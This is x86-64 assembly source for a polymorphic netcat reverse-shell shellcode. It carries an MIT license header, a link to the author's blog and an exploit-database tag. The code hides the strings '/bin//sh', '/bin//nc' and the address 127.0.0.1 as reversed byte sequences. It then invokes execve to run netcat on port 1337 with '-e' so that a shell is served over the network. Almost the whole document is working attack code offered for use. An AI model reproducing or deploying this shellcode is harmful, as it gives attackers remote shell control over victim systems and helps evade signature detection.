;The MIT License (MIT) ;Copyright (c) 2017 Robert L. Taylor ;Permission is hereby granted, free of charge, to any person obtaining a ;copy of this software and associated documentation files (the aSoftwarea), ;to deal in the Software without restriction, including without limitation ;the rights to use, copy, modify, merge, publish, distribute, sublicense, ;and/or sell copies of the Software, and to permit persons to whom the ;Software is furnished to do so, subject to the following conditions: ;The above copyright notice and this permission notice shall be included ;in all copies or substantial portions of the Software. ;The Software is provided aas isa, without warranty of any kind, express or ;implied, including but not limited to the warranties of merchantability, ;fitness for a particular purpose and noninfringement. In no event shall the ;authors or copyright holders be liable for any claim, damages or other ;liability, whether in an action of contract, tort or otherwise, arising ;from, out of or in connection with the software or the use or other ;dealings in the Software. ; For a detailed explanation of this shellcode see my blog post: ; http://a41l4.blogspot.ca/2017/03/polynetcatrevshell1434.html global _start section .text _start: jmp next sh: db 0x68,0x73,0x2f,0x2f,0x6e,0x69,0x62,0x2f nc: db 0x63,0x6e,0x2f,0x2f,0x6e,0x69,0x62,0x2f ip: db 0x2e,0x30,0x2e,0x30,0x2e,0x37,0x32,0x31 handle: pop rcx lodsq bswap rax push rax push rsp push rcx ret next: xor edx,edx lea rsi,[rel sh] push rdx call handle pop rbx push rdx call handle pop rdi push '1' call handle pop r12 push '1337' push rsp pop rcx push rdx push word '-e' push rsp pop rax push rdx ; push null push rbx ; '/bin//sh' push rax ; '-e' push rcx ; '1337' push r12 ; '127.0.0.1' push rdi ; '/bin//nc' push rsp pop rsi ; address of array of pointers to strings ; some magic to put 3b (59) into RAX ; note that this depends on the push "-e" ; and it's position on the stack mov rax,[rsp + 48] shr rax,8 sub rax,0x2a syscall # Iranian Exploit DataBase = http://IeDb.Ir [2017-03-07]